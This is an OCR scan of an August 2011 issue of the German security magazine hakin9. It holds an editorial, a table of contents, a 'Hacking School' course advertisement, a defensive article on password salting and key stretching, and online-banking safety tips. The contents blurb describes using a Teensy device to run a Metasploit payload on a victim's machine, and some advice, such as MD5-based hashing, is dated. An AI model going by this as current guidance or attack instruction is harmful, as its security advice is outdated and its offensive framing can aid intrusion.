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LIEBE HAKIN9 LESER!

das Hauptthema der August Ausgabe ist Online Banking.

Online Banking — furr viele eher eine Angstvorstellung als eine Erleichterung
im Alltag. Doch das muss gar nicht sein. Es gibt einige Methoden, Informationen
und Tipps, die lhnen weiter helfen kénnen. In unserem Heft finden Sie einen
einflihrenden Beitrag zu diesem hochinteressanten Thema. Des Weiteren lesen
Sie im Artikel Keine Angst vor Online Banking.

Zu weiteren Highlights der aktuellen Ausgabe gehdren: Hacking mit dem
Teensy++ 2.0, Passwort-Cracken, manuelle und automatisierte Administration
einer Active Directory Domane und Grundlagen der Gruppenrichtlinien,
Steganografie, IT-Compliance, Secure OnlineServices, Weiterbildungsdschungel
der Microsoft Zertifizierungen und das Werbe-Botnetz Artro.

Sie mochten unser Heft jeden Monat automatisch bekommen? Nichts einfa-
cher als dies. Registrieren Sie sich fiir unseren Newsletter auf http://de.hakin9.
org/newsletter und Sie werden regelmaBig jede Hakin9 Ausgabe in lhrem
E-Mail-Account vorfinden. Jede Ausgabe wird namlich automatisch an unsere
Subscriber verschickt.

Falls Sie Interesse an einer Kooperation hatten oder Themenvorschlage,
wenden Sie sich bitte an unsere Redaktion.

Viel Spal8 mit der Lektiire!
Karolina Sokotowska

6UIHEH


http://de.hakin9.org/newsletter

HaRINS

EXPERTENBEREICH
PSW GROUP

7 Erst salzen, dann hashen, dann stretchen:
Wie das Passwort-Cracken fiir Angreifer zur
Tortur wird

Christian Heutger, Geschéftsfiihrer der PSW GROUP
Passworter haben sich im Internet als Authentifizie-
rungsmethode Nummer 1 durchgesetzt. Dabei gelten
sie zwar nicht als sicherste Methode, um Zugriffe auf
geschlossene Bereiche nur befugten Nutzern zu er-
moglichen. Doch die Einfachheit sich mit einer Folge
aus Zahlen, Buchstaben und Sonderzeichen in Kom-
bination mit Nutzernamen oder E-Mail-Adresse — ohne
Zusatzgerat oder Aufwand auf Anwenderseite — zu au-
thentifizieren, gab letzten Endes den Ausschlag fur den
Siegeszug. Dieser sollte aber Uber eines nicht hinweg-
tauschen: Passworter sind grundsatzlich knackbar, von
Kriminellen begehrt und sollten daher von Web-Admi-
nistratoren besonders gesichert werden.

DATENSCHUTZ

10 Keine Angst vor Online Banking

Frank Herold

Online Banking — fir viele eher eine Angstvorstellung
als eine Erleichterung im Alltag. Doch das muss gar
nicht sein. Es gibt einige Methoden, Informationen und
Tipps, die lhnen weiter helfen kdnnen. Ein wenig mehr
Sicherheit beim Online Banking?
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12 Hacking mit dem Teensy++ 2.0

Patrick Schmid

Der Teensy ist ein Mikrocontroller mit miniUSB-An-
schluss, der auf einem normalen Computer als ge-
wohnliche Tastatur oder Maus erkannt wird und
dadurch auch jede Tastenkombination oder jede Bewe-
gung nachahmen kann, welche auch mit normalen Ein-
gabegeraten funktionieren.

Somit ist der Teensy ideal, wenn man nur ein paar Se-
kunden alleine mit der Maschine des Opfers hat. Denn
dank dem Teensy kann ein beliebiger Payload, ein
Skript oder ein Trojaner binnen Sekunden geladen und
ausgefuhrt wird. Somit eignet sich der kleine Helfer ide-
al zum Beispiel zum Laden eines durch Metasploit ge-
nerierten Payloads, was ich auch in diesem Artikel er-
klaren mochte.

kenzeichen, Logos und Handelsmarken, die
sich in der Zeitschrift befinden, sind regist-
rierte oder nicht-registrierte Markenzeichen
der jeweiligen Eigenimer und dienen nur als
inhaltliche Erganzungen.
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Die Redaktion bemiiht sich, dafiir Sorge zu
tragen, dass die in der Zeitschrift sowie auf
den begleitenden Datentragern erhaltenen
Informationen und Anwendungen zutreffend
und funktionsféahig sind, tbernimmt jedoch
keinerlei Gewahr fir derer Geeignetheit fir
bestimmte Verwendungszwecke. Alle Mar-

niken sind AUSSCHLIERLICH in eigenen
Rechnernetzen zu testen! Die Redaktion
Ubernimmt keine Haftung fiir eventuelle
Schaden oder Konsequenzen, die aus der
unangemessenen Anwendung der beschrie-
benen Techniken entstehen. Die Anwendung
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16 Manuelle und automatisierte Administra-
tion einer Active Directory Doméne und Grun-
dlagen der Gruppenrichtlinien

Hannes Schurig

Kaum ein grofReres Unternehmen kommt heutzutage
noch ohne ein komplexes Computernetzwerk aus. Die
Uberwachung, Steuerung und Verwaltung eines sol-
chen Netzwerkes erfordert neben dem umfangreichen
Fachwissen des verantwortlichen IT-Administrators
auch ein elaboriertes Netzwerksystem. In diesem Ar-
tikel wird die grundlegende Administration eines Win-
dows Netzwerkes basierend auf einer Active Directory
Domane erklart und veranschaulicht.
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24 Steganografie fiir Anfanger

Christian Imhorst

Steganografie kommt aus dem Griechischen und heif3t
“geheimes Schreiben”. Herodot berichtet, dass einem
Sklaven der Kopf geschoren wurde, um die Nachricht
auf seine Kopfhaut zu tatowieren.

TECHNIK

27 IT-Compliance ist ein Thema fiir die Ent-
scheiderebene

Dr. Dieter Steiner

Kaum ein Unternehmen ist heutzutage unabhangig
von der korrekten Funktion und Verfugbarkeit der IT.
Ein entscheidender Aspekt fir Unternehmen ist die IT-
Compliance, da die meisten Informationen elektronisch
flieRen — auch im Austausch mit internationalen Stand-
orten, Partnern und Kunden.
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29 Warum ein VAR Secure Online Services
anbieten sollte

Thomas Haberl

Fir Value Added Reseller gibt es seit kurzer Zeit ei-
ne interessante Mdglichkeit, das eigene Produkt- und
Dienstleistungsportfolio und entsprechende Umsatzpo-
tential mit dem Topthema ,Cloud® relativ aufwandslos
Zu erweitern.

31 Willkommen im Weiterbildungsdschungel
der Microsoft Zertifizierungen — ein kleiner
Exkurs zu MCTS, MCITP und MCPD

Gerade im IT-Bereich ist Weiterbildung ein grof3es
Thema. Um den eigenen Wert am Arbeitsmarkt zu
halten oder zu steigern, bieten sich unzahlige Aus-
bildungspfade an. Im Microsoft Umfeld sind dies bei-
spielsweise die Zertifizierungen zum Microsoft Cer-
tified Technology Specialist (MCTS), zum Microsoft
Certified IT Professional (MCITP) oder zum Microsoft
Certified Professional Developer (MCPD). Die Rich-
tung bzw. das Zertifizierungsziel bestimmt a) der je-
weils eigene berufliche Hintergrund als Anwender,
Administrator oder Entwickler und b) das jeweilige
Ausbildungsziel, das der Weiterbildungsinteressierte
verfolgt.

ABWEHR

33 Das Werbe-Botnetz Artro

Alexey Kabiev, Maria Garnaeva

Das Botnetz Artro, dessen Bots von den Kaspersky-
Produkten als Trojan-Downloader.Win32.CodecPack
erkannt werden, ist bereits seit 2008 bekannt. Trotz-
dem gibt es bis heute keine vollstdndige Beschreibung
seiner Funktionalitat. Um das zu andern, méchten wir
im Folgenden die Ergebnisse unserer Untersuchungen
zu Artro vorstellen.

Im Zusammenhang mit den Anderungen, die in letzter Zeit in dem

deutschen Recht stattgefunden haben und die IT-Sicherheit be-
treffen, méchten wir ankiindigen, dass hakin9-Abwehrmethoden
Magazin seinem Profil treu bleibt.

Unser Magazin dient ausschliel3lich den Erkenntniszwecken.
Alle im Magazin présentierten Methoden sollen fiir eine sichere IT
fungieren. Wir legen einen grof3en Wert auf die Entwicklung von
einem sicheren elektronischen Umsatz im Internet und der Be-
kémpfung von IT Kriminalitét.
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BESPRECHUNG DES MULTIMEDIALEN HACKING-KURSES

Die Hacking School vermittelt dem Leser
Wissen rund um das Hacken. Das Ziel ist,
den eigenen PC sicherer zu machen bzw.
Sicherheitslicken zu entdecken und zu
schlieBen. Das Hacking School Set bein-
haltet ein Handbuch, eine DVD mit 19
Trainingsfilmen und eine CD mit dem
Schulungsbetriebssystem. Das komplette
Schulungsset kann flr 87 EUR bestellt
werden.

Pressemitteilung der Hacking School

Im Verlagsprogramm des CSH Verlags,
Kwidzyn, Polen, erscheint dieser Tage die
zweite, korrigierte und erweiterte Ausgabe
des in Polen bereits GuBerst erfolgreichen
Hacking School Sets in deutscher Sprache.
Das Schulungsset besteht aus einem
Handbuch, einer DVD mit 19 Schulungs-
videos (210 Minuten) sowie einem
Schulungsbetriebssystem (Live-CD Linux
mit der zum Kurs ndtigen Software).

Der Kurs richtet sich an jeden, der sich von
Hackerangriffen bedroht fuhlt, frei nach
dem Motto ,...mbdchtest du einen Dieb
fangen, denke wie einer..." Profitieren
kénnen von dem Werk sowohl ambitionierte
Anfanger, die schon immer wissen wollten,
welcher technische Hintergrund sich hinter
dem Thema Hacking verbirgt, als auch
professionelle Administratoren, die Sicher-
heitslicken in inrem System aufdecken
wollen.

Das Buch flhrt den Leser Schrift flr Schritt
sowohl in die grundlegenden als auch in
die fortgeschrittenen Techniken des
Hackings ein. 21 Kapitel auf 420 Seiten mit
Informationen, Anwendungsbeispielen,
aber auch Ubungen, mit deren Hilfe man
praktische Fahigkeiten erlernt. Jedes Kapitel
stellt einen unabhdngigen Abschnitt dar
und behandelt ein ausgewdahlites Thema.

Das Trainingsmaterial kann auf dem speziell
vorbereiteten Trainingsbetriebssystem
durchgespielt werden, welches von der

CD startet und nicht installiert zu werden
braucht. Zwei Minuten nach dem Start ist
die Testumgebung fUr den Leser
einsatzbereit. Es dient als Uberaus nltzlicher
Wegweiser und Begleiter zu sicherheits
relevanten Aspekten des IT-Systemschutzes.

Was erwartet Sie in diesem Kurs:

= Die Wiederherstellung verlorener Passworter

= Das Abfangen von Informationen in lokalen Netzwerken

= Das Abfangen von verschllsselten Daten

= Angriff auf eine SSL-Sitzung

= Backdoor - die "Hintert(r" als Tor zum System

= Dateien und Verzeichnisse mit Hilfe des Kernels 2.6 verstecken
= Angriffe vom Typ Buffer-Overflow

= Angriffe vom Typ Heap-Overflow

= Format-String-Angriffe

= Das Uberschreiben des Datenstrom-Zeigers (File Stream Poinfer Overwrite)
= Fehler im Systemkernel

= Die Verwendung des ICMP-Protokolls aus der Sicht des Hackers
= |dentifizierung eines Netzwerkcomputers

= Neffilter im Dienste der Systemsicherheit

= Absichern des Betriebssystems Schrift far Schritt

= Sicherheitsscanner

= Kernelpatfches zur Erhdhung der Sicherheit

= |nfrusion Detection System (IDS)

= Angriff mit Hilfe sines Webservers

= Shellcode-Erstellung in der Win32-Umgebung

Zusammenfassung

Das Schulungsset "Hacking School" stellt eine fundierte und tiefgehende Einfhrung ins
Hacking dar, sowohl fir Anfénger als auch flr fortgeschrittene Power-User. Wir empfe-
hlen dieses Set jedem, der die ersten Schritte in die Welt des Hackens und der Comput-

ersicherheit wagt.

Der Kurs ist auch bei Amazon erhaltlich.

2. Auflage

25000
verkaufte
Exemplare

Promotionscode nur fiir Leser der Zeitschrift haking
10% Rabatt: 72888 bei Kauf der Schulung

Bestellung des Schulungsexemplars
auf www.HackingSchool.de
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Erst salzen, dann hashen, dann stretchen: Wie das
Passwort-Cracken fiir Angreifer zur Tortur wird

Christian Heutger, Geschaftsfiihrer der PSW GROUP

Passworter haben sich im Internet als Authentifizierungsmethode
Nummer 1 durchgesetzt. Dabei gelten sie zwar nicht als sicherste
Methode, um Zugriffe auf geschlossene Bereiche nur befugten

Nutzern zu ermdglichen.

IN DIESEM ARTIKEL ERFAHREN SIE...
- welche Angriffsmethoden Passwort-Cracker nutzen, um an
Passworter zu gelangen.

« warum Passworter von Website-Betreibern nicht im Klartext
gespeichert werden sollten.

- wie Website-Betreiber Passworter mit kryptografischen Hash-
Funktionen so verschliisseln, dass sie fir Angreifer kaum zu
knacken sind.

WAS SIE VORHER WISSEN SOLLTEN...

Nahezu alle in der Internet-Praxis eingesetzten Passworter
kdénnen gecrackt werden: Fur den Angreifer ist dies nur ein
Frage der Zeit und der Rechenleistung. Denn schon die Zu-
sammensetzung des Passwortes entscheidet darlber, wie si-
cher es ist. Im Web-Alltag haben sich vor allem Passworter mit
begrenzter Lange - viele Anbieter lassen maximal bis zu 12
Zeichen zu - etabliert. Das ist dem menschlichen Erinnerungs-
vermogen geschuldet: SchlieBlich muss sich der Nutzer sein
Passwort auch merken kdnnen. Dieser Umstand macht die Au-
thentifizierung per Passwort allerdings per se unsicher. Zumal
neben den verwendeten Zeichen bei der Passwortsicherheit
auch dessen Lange von Relevanz ist. Werden nur Buchstaben
oder nur Zahlen verwendet, erleichtert dies dem Angreifer die
Arbeit.

och die Einfachheit sich mit einer Folge aus Zah-
D len, Buchstaben und Sonderzeichen in Kombi-

nation mit Nutzernamen oder E-Mail-Adresse
— ohne Zusatzgerat oder Aufwand auf Anwenderseite
— zu authentifizieren, gab letzten Endes den Ausschlag
fir den Siegeszug. Dieser sollte aber (ber eines nicht
hinwegtauschen: Passwdrter sind grundsatzlich knack-
bar, von Kriminellen begehrt und sollten daher von
Web-Administratoren besonders gesichert werden.

Sicherheitsrisiko: Anwender

Da viele Website-Betreiber die Passwortwahl meist ih-
ren Nutzern Uberlassen, ist dies nicht selten der Fall.
Eine Kombination aus Buchstaben, Ziffern und Son-
derzeichen hingegen erhoht die Passwortsicherheit
schon deutlich. Hierzu tragt dariber hinaus die Be-
ricksichtigung der Grof3- und Kleinschreibung von
Buchstaben in Passwortern bei. Daher bietet es sich
fir Web-Administratoren an, den Nutzern bei der Wahl

www.psw.net

eines sicheren Passwortes zu unterstitzen und zur
Bedingung zu machen, dass Zeichen aus allen drei
Zeichengruppen verwendet werden. Viele Betreiber
tun dies, indem sie dem Nutzer anhand einer Farb-
skala visualisieren, wie sicher das von ihm gewahite
Passwort ist.

Studien zeigen, dass schon der Anwender ein be-
trachtliches Sicherheitsrisiko fur das eigene Passwort
darstellen kann. Diverse Analysen von bei beliebten
Web 2.0-Plattformen — darunter MySpace und Hotmail
— entwendeten und im Netz veroffentlichen Zugangs-
daten haben ergeben, dass Nutzer am haufigsten die
Zeichenketten ,password1, ,password“ und ,123456“
als Passworter wahlen. Auch Namen von Popstars und
Sportler werden allzu gern verwendet. Rund 30 Prozent
der Anwender wahlen Passworter, deren Lange maxi-
mal 6 Zeichen umfasst.

Damit macht es schon der Anwender einem Angrei-
fer leicht, durch simples ,Durchprobieren® Zugriff auf

PSW GROUP |8
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seinen Account zu erlangen. Im Schnitt, so errechne-
ten Sicherheitsexperten, brauchen Angreifer, die bei
solch einfachen Passwoértern auf Brute Force setzen,
110 Versuche um ein Passwort zu knacken. Maschinell
ausgefuhrt entspricht dies etwa einem Zugang pro Se-
kunde.

Sicherheitsrisiko: Website-Betreiber

Doch oftmals ist es fir Angreifer viel lohnenswerter
sich direkt dem Web-Angebot zuzuwenden bezie-
hungsweise dem Betreiber — und der Art der Siche-
rungsmalnahmen, die er beim Speichern der Pass-
worter seiner Nutzer ergreift. Denn wie fast taglich
erscheinende Medienberichte Uber Passwortdiebstah-
le bei Online-Shops, groRen Web 2.0-Plattformen, E-
Mail-Diensten und anderen Web-Angeboten zeigen,
ist es um die Sicherheit der Passworter der Internet-
Nutzer auf Betreiber-Seite meist nicht so gut bestellt.
Somit sind gerade Betreiber von Web-Angeboten in
der Pflicht.

Etabliert zur Sicherung von Passwortern sind kryp-
tografische Hash-Funktionen — vor allem der Mes-
sage-Digest Algorithm 5 (kurz: MDS5). Demzufolge
werden Passworter nicht im Klartext in den Daten-
banken der Website-Betreiber gespeichert, sondern
zuvor in einen 128-Bit-Hashwert umgewandelt. Da-
bei handelt es sich um eine Zeichenkette, die keine
Ruckschlisse auf das ,gehashte“ Passwort mehr zu-
Iasst. Jedes Mal, wenn der Nutzer sich mit seinem
Passwort auf der Website authentifiziert, wird das
von ihm eingegebene Passwort in einen Hashwert
umgewandelt und dieser mit dem in der Datenbank
hinterlegten Hashwert des gultigen Passwortes ver-
glichen. Stimmt es Uberein, ist die Authentifizierung
erfolgreich. Ist der Hashwert hingegen nicht iden-
tisch, schlagt die Authentifizierung fehl und dem Nut-
zer wird angezeigt, dass er ein falsches Passwort an-
gegeben hat.

Angriffe werden durch MD5 somit erschwert. Denn
selbst wenn sich ein Angreifer Zugriff auf die Passwort-
Datenbank eines Web-Angebots verschafft hat, was
haufig vorkommt, kann er mit den entwendeten Daten
die hinter den Hashwerten verborgenen Passworter,
die er fir den Zugriff auf die Nutzerkonten zwingend
bendtigt, nur sehr schwer rekonstruieren. Was bisher
Monate oder gar Jahre dauerte und MD5 zu einer der
vermutlich sichersten unter der bewahrten kryptografi-
schen Hash-Funktionen machte, wird im Zeitalter des
Cloud Computing und der Mehrkernrechner jedoch
zum Kinderspiel.

Der Topf mit Gold am Ende des Regenbogens

Neueste Hardware und gebindelte Rechenleistung
kénnen die Rekonstruktion von nach MD5 verschlus-
selten Passwartern deutlich beschleunigen und damit

Ml PSW GROUP

fur Angreifer zum alltagstauglichen Szenario machen.
Dabei greifen sie auf so genannte Rainbow Tables
zurick. In diesen sind Milliarden Zeichenketten mit
den dazugehdrigen vorberechneten MD5-Hashwer-
ten gespeichert, so dass gerade leichte oder gangige
Passworter mit der heutzutage zur Verfigung stehen-
den Rechenleistung binnen Minuten ermittelt werden
kénnen. Im Ubrigen kann sogar Google zum Cracken
von gehashten Passwortern herangezogen werden.
Gibt man einige Hashwerte in die allseits beliebte
Suchmaschine ein, liefert sie hin und wieder sogar
als Ergebnis den Klartext des dazugehorigen Pass-
worts.

Zur Ehrenrettung von Google sei aber erwahnt, dass
das nicht immer sondern eher im Ausnahmefall funkti-
oniert. Denn die Suchmaschine erfasst — und das un-
terscheidet sie von den wesentlich effizienteren Rain-
bow Tables — nicht systematisch Hashwerte mit den
dazugehorigen Klartexten. Damit der Angreifer mit Hil-
fe der Rainbow Tables letztlich nicht in den Besitz des
Topfes mit Gold — des begehrten Passwortes — am En-
de des sprichwortlichen Regenbogens gelangt, mus-
sen Web-Administratoren gegensteuern und sich eine
der groRten Schwachen dieser Angriffsform zu Nutze
machen.

Passworter beim Hashen salzen!

Denn das Erstellen und Anwenden von Rainbow Tab-
les gestaltet sich fiir den Angreifer nur dann wirtschaft-
lich, wenn die urspringlichen Passworter kurz sind. Ab
einer bestimmten Lange ist das Verfahren — gerade bei
einer grol’en Menge an Passwoértern — so aufwendig,
dass es sich nicht lohnt beziehungsweise zu zeitin-
tensiv darstellen wirde. Daher sollten Web-Adminis-
tratoren auf ,Salt* zurlickgreifen: Es wird eine zufallig
generierte Zeichenfolge an den Klartext des Passwor-
tes angefligt und dessen Lange somit vergroRert. Erst
dann wird das so kiinstlich verlangerte Passwort ge-
maf MD5 in einen Hashwert umgewandelt und in der
Datenbank gespeichert. Ebenfalls gespeichert wird
die fir das spezifische Passwort verwendete ,Salt"-
Zeichenfolge. Dies ist spater notwendig, um den Au-
thentifizierungsprozess abzuwickeln beziehungsweise
prufen zu kdnnen, ob ein Nutzer sein Passwort korrekt
eingibt. ,Kommissar Zufall“ bringt bei ,Salt“ aber noch
einen weiteren Vorteil: Die Anzahl der Kombinationen
flr jedes einzelne maogliche Passwort wird stark auf-
geblaht.

Sichergestellt werden sollte beim ,Salzen® von Pass-
wortern, dass keine ,Salt“-Zeichenfolge doppelt verwen-
det wird. Dann hat das Vorgehen namlich einen weite-
ren Vorteil in punkto Passwortsicherheit. Nutzen einige
Nutzer zufallig ein identisches Passwort — beispielsweise
123456 — wirde der MD5-Hashwert ohne ,Salt ebenfalls
identisch sein. Das heif3t: Dem Angreifer wirde es aus-

8/2011
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reichen das Passwort eines dieser Nutzer zu knacken,
um Zugriff auf alle Accounts mit identischem Passwort zu
erlangen. Wird ,Salt“ eingesetzt, unterscheiden sich hin-
gegen auch die Hashwerte bei identischen Passwortern.
Nachteil bei spezifischen Attacken: Hat der Angreifer
Zugriff auf die Hashwert-Tabelle sowie die ,Salt“-Tabelle
der Datenbank und es nur auf ein einziges, bestimmtes
Passwort abgesehen, kann ihn das gesalzene Pass-
wort nicht davon abhalten, es im Klartext zu ermitteln.

Key Stretching: Angriffe verlangsamen

Mit dem Salzen allein ist demnach noch nicht getan.
Daher sollten Websitebetreiber zusatzlich den Hash-
Vorgang kunstlich entschleunigen beziehungsweise bei
einem Passwort mehrfach ausfiihren.

Beispiel:

+ Das Passwort wird um die Salt-Zeichenfolge er-
ganzt und gehasht.

* Der daraus resultierende Hashwert wird nun selbst
als Paramater ebenfalls gehasht.

» Daraus resultiert ein weiterer Hashwert, der wiede-
rum auch gehasht wird.

... und so weiter, und so fort.

Dieser Vorgang lasst sich beliebig oft wiederholen
und ausfihren. Der allerletzte Hashwert wird dann ent-
sprechend in der Datenbank gespeichert. Bei der Pri-
fung eines Passwortes — beispielsweise beim Login ei-
nes Nutzers — wird der Vorgang in identischer Anzahl

www.psw.net

an Wiederholungen auf das vom Nutzer eingegebe-
ne Passwort angewandt. Hat der Nutzer das korrekte
Passwort angegeben, ist dessen endgultiger Hashwert
— beispielsweise nach 1.000 Durchlaufen —identisch mit
dem des Hinterlegten, das bei seiner Erzeugung eben-
falls 1.000-fach gehasht worden war. Fir den Nutzer
selbst fallt das bei der Authentifizierung kaum ins Ge-
wicht. Eine Prifung eines einfach gehashten Passwor-
tes dauert vielleicht einige Mikrosekunden. Bei 1.000
Durchlaufen sind dies somit einige Millisekunden.

Eine entsprechende Funktion fir 1.000 Hash-Runden
konnte vereinfacht beispielsweise so aussehen:

key = hash (password)
for 1 to 1000 do
key = hash (key)

Der Vorteil: Der Angreifer wird im Gegensatz zum An-
wender beim Passwort-Cracken deutlich ausgebremst.
Bendtigt er beim Knacken eines spezifischen, gesalze-
nen und einfach-gehashten Passworts, auf das er es
abgesehen hat, ein paar Tage. Multipliziert sich der zeit-
liche Aufwand um den Faktor der Hash-Wiederholun-
gen. Wahlweise kénnen die Rundenfunktionen auch so
ausgestaltet werden, dass das Passwort bei jeder Wie-
derholung zusatzlich wieder in den zu hashenden Wert
eingeht. Das macht das Resultat noch sicherer.

Obacht bei Content-Management-Systemen
Einige etablierte CMS-Lésungen wie Typo3 hashen
zwar mit MD5, salzen die Passwdrter aber nicht. Hier
gilt es spezielle Erweiterungen zu nutzen, die meist
auch die Sicherung mit Bcrypt oder phpass ermogli-
chen. Auf letzteres Framework setzen die Content-Ma-
nagement-Systeme Wordpress und phpBB von Hause
aus und damit auch auf Berypt, das das ,Salzen® und
»otretchen® beim Hashen von Passwortern unterstitzt.
Bei Joomla hingegen mussen Website-Betreiber in der
Grundausstattung auf das Stretching weitestgehend
verzichten — es sei denn sie risten nach. Drupal wird
den Anforderungen an nahezu unknackbar gespeicher-
ten Passwortern ab der Version 7 gerecht. Fur altere
Versionen empfiehlt es sich, auf das Drupal-Modul ,Se-
cure Password Hashes" zurlickzugreifen.

CHRISTIAN HEUTGER

Christian Heutger ist Geschdiftsfiihrer der PSW
GROUP GmbH & Co. KG und verfiigt iiber mehr
_ als elf Jahre Erfahrung in der Branche fiir SSL-
i ‘ -Zertifikate. Sein Wissen iiber IT-Sicherheit ver-

. ; mittelt er als Lehrbeauftragter fiir den DV-Be-

reich am Fachbereich Wirtschaft der Hoch-
schule Fulda und im Rahmen seiner nebenberuflichen Tdtig-
keit als Informatiklehrer am Marianum Fulda.

PSW GROUP |
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Keine Angst vor Online Banking

Frank Herold

Online Banking - fiir viele eher eine Angstvorstellung als
eine Erleichterung im Alltag. Doch das muss gar nicht sein.
Es gibt einige Methoden, Informationen und Tipps, die
lhnen weiter helfen kdnnen. Ein wenig mehr Sicherheit
beim Online Banking? Ich zeige Ihnen wie das geht.

IN DIESEM ARTIKEL ERFAHREN SIE...

« wie man sicherer Online Banking betreiben kann

WAS SIE VORHER WISSEN SOLLTEN...

+ kein spezielles Vorwissen

sonderlich komplizierte- Methoden und Informatio-

nen aufzeigen, wie Sie sicherer Online Banking be-
treiben kdnnen. Wie bei allen Artikeln gilt auch hier:
Lassen Sie sich von der Fille an Informationen nicht
abschrecken. Es zwingt Sie kein Mensch dazu, alles
umzusetzen und vor allem zwingt Sie keiner dazu das
SOFORT zu machen und in Panik zu geraten. Leh-
nen Sie sich zurick, lesen Sie den Artikel in aller Ruhe
durch und wagen Sie selbst ab, was Sie verwirklichen
wollen und was nicht.

Grundsatzlich sollten Sie Online Banking nur von
einem sauberen und sicheren Betriebssystem aus
betreiben. Eine kirzliche Studie hat gezeigt, dass
immer weniger Menschen Online Banking vom PC
aus, dafir aber mehr vom Smartphone aus ma-
chen. Man denkt wohl, man sei mit dem Smart-
phone sicherer. Lassen Sie sich davon bitte nicht
tauschen. Halten Sie lhr Betriebssystem bitte im-
mer auf dem neuesten Stand. D.h. Sie installieren
immer alle verfugbaren Updates, welches das Be-
triebssystem heutzutage sowieso automatisch an-
bietet. Die Software auf lhrem PC, egal welche,
sollte ebenfalls auf dem neuesten Stand sein. Ver-
gleichen Sie das ganze doch mal mit lhrem Auto:
wenn der Hersteller Ihnen kostenfrei ein Update
anbieten wiirde, dass |Ihre Bremsen starker und so-
mit die Fahrt sicherer machen wirde, wirden Sie
dazu etwa nein sagen?

I ch mochte lhnen mit diesem Artikel einige -nicht

o HaRrINS

Wie viel Online Banking braucht der Mensch
eigentlich?

Fir die meisten Transaktionen haben Sie bereits Dau-
erauftrdge eingerichtet, Sie schauen ab und an auf lhr
Konto um lhre Finanzen zu Uberprifen. Ich hore oft das
Argument, das (=die Sicherheitsmaflnahmen) sei al-
les viel zu kompliziert und wiirde einem beim Online
Banking behindern. Dieses Argument ist meiner Mei-
nung nach eher eine Ausrede, entschuldigen Sie, falls
dies ein wenig hart klingen mag.

Sicheres Online Banking mit einer Boot-CD /
einem USB Stick

Nun, nachdem lhre Software auf dem neuesten Stand
ist, stellen Sie sich die Frage: “Wie kann ich sicher sein,
dass nicht doch jemand mitlauscht?” Diese Frage ist
durchaus berechtigt. Fir sicheres Online Banking gibt
es noch weitere Moglichkeiten. Die Zeitschrift “c’t” bie-
tet eine hervorragende Lésung mit dem Programm “c’t
Bankix 2011” an. Hier wird ein von Ubuntu abgeleite-
tes Linux LIVE Betriebssystem verwendet. Dieses ist
speziell fur sicheres Online-Banking maf3geschneidert
worden und kann von CD oder USB Stick gebooted
werden. Probieren Sie es einfach mal aus, es ist wirk-
lich kein Hexenwerk.

Welche Online Banking Software gibt es?

» SFirm (Sparkasse)
* Bank X (Mac OS X)
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Keine Angst vor Online Banking

+ Hibiscus (Java, freie Software, wird bei c't Bankix
verwendet )

* iOutBank (iPhone OS)

» ProfiCash (Volks- und Raiffeisenbanken)

* VR NetWorld (Volks- und Raiffeisenbanken)

* Quicken

« StarMoney

* T-Online Banking

* WISO Mein Geld

Es gibt nattrlich noch viel mehr Software in dieser Ka-
tegorie. Ich habe hier nur die bekanntesten aufgelis-
tet. Sollten Sie auf eine kostenlose Software zurlck-
greifen wollen, so empfehle ich Ihnen Hibiscus (Ja-
va, freie Software, wird bei ¢’t Bankix verwendet). Bei
der kostenpflichtigen Software empfehle ich StarMo-
ney oder Quicken. Fur lhr Smartphone ist ganz klar
iOutBank (iPhone OS) der Sieger. Das App fur iPhone
bietet hdchste Sicherheitsstandards, tragt das Siegel
des TUV SUD und verschlisselt Ihre Daten mit AES
256 Bit.

Gangige Authentifizierungsverfahren beim

Online Banking

e iTAN Veraltetes Verfahren (Nachfolger der klassi-
schen TAN-Liste), bei dem Kunden eine Liste mit
nummerierten TANs erhalten. Beim Online Ban-
king wird man bei einer Transaktion dazu aufgefor-
dert eine bestimmte TAN aus der Liste einzugeben,
die nach der Benutzung verfallen ist. Hochst anfal-
lig und gefahrlich (Phishing). Keinesfalls zu emp-
fehlen!

e iTAN plus Dieses Verfahren benutzt zusatzlich vor
der Eingabe der iTAN ein Captcha (Kontrollbild).
Ebenfalls nicht empfehlenswert.

e mTAN (smsTAN) Beim mTAN wird dem Kunden auf
sein vorher durch die Bank authentifiziertes Han-
dy eine TAN (meist Zahlen und Buchstaben) via
SMS zugeschickt. Diese SMS enthalt aulRerdem
noch Ausziige der Zielkontonummer und den Uber-
weisungsbetrag. Hier kann der Benutzer vor der
TAN Eingabe nochmals eine Kontrolle durchfuhren.
Die mobile TAN hat des Weiteren noch eine be-
grenzte Glltigkeitsdauer. Empfehlenswerter als das
klassische iTAN/plus, jedoch z.B. durch den Zeus
Virus im Jahre 2010 bereits erfolgreich geknackt
worden.

* chipTAN Das chipTAN Verfahren funktioniert Gber
ein kleines Gerat, welches Sie von lhrer Bank er-
halten. Diese Gerate sind keinesfalls kostenlos, je
nach Bank variiert der Preis. Die Funktionsweise ist
denkbar einfach: Der Kunde loggt sich in sein Online
Banking ein, gibt die Daten fiir eine Uberweisung ein
und es erscheint eine animierte Grafik. Nun wird die
Bankkarte in das Lesegerat gesteckt und vor den
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Bildschirm gehalten. Die Auftragsdaten werden ge-
scannt und mussen bestatigt werden. Danach wird-
die TAN generiert und kann verwendet werden.
ChipTAN ist ein sehr sicheres Verfahren, jedoch bei
SammelUberweisungen nicht zu empfehlen, da die
Zielkonten aus Platzgriinden nicht auf dem Display
angezeigt und kontrolliert werden konnen.

Selbstverstandlich gibt es hier noch einige Unterver-
fahren, die ich aber nicht erwahnen werde.

Welches Verfahren soll ich verwenden und

wie sichere ich mich zusatzlich ab?

* Halten Sie Betriebssystem und Software auf
dem neuesten Stand, spielen Sie alle verfligbaren
Updates ein

* Installieren Sie eine Anti-Virus Software und ggf.
eine Firewall, updaten Sie diese ebenfalls regel-
maRig und scannen Sie mind. 1-2 Mal im Monat
aktiv Thren PC auf Viren (Hierzu missen Sie den
Scan manuell anstof3en! Verlassen Sie sich bitte
nicht auf den Hintergrundscanner lhres Anti Viren
Programms)

+ Andern Sie Ihre Passwérter und PINs regelmaRig

* Nutzen Sie komplizierte Passworter mit einer Min-
destlange von mind. 8 Zeichen, kombiniert aus
Zahlen, Buchstaben und GroR-/Kleinbuchstaben

* Verwenden Sie verschiedene Passworter fir lhre
persodnlichen Zugange

* Nutzen Sie das chipTAN Verfahren, ggf. in Kom-
bination mit einer Live Boot CD (oder einem USB
Stick) wie z.B. der ¢'t Bankix 2011

* Vermeiden Sie Online Banking Uber das Smartpho-
ne aulerhalb lhres heimischen Netzwerkes (z.B.
an offentlichen WLAN Hotspots 0.4.)

FRANK HEROLD

Frank Herold, IT-Security-Blogger auf hersec.de & Senior Abu-
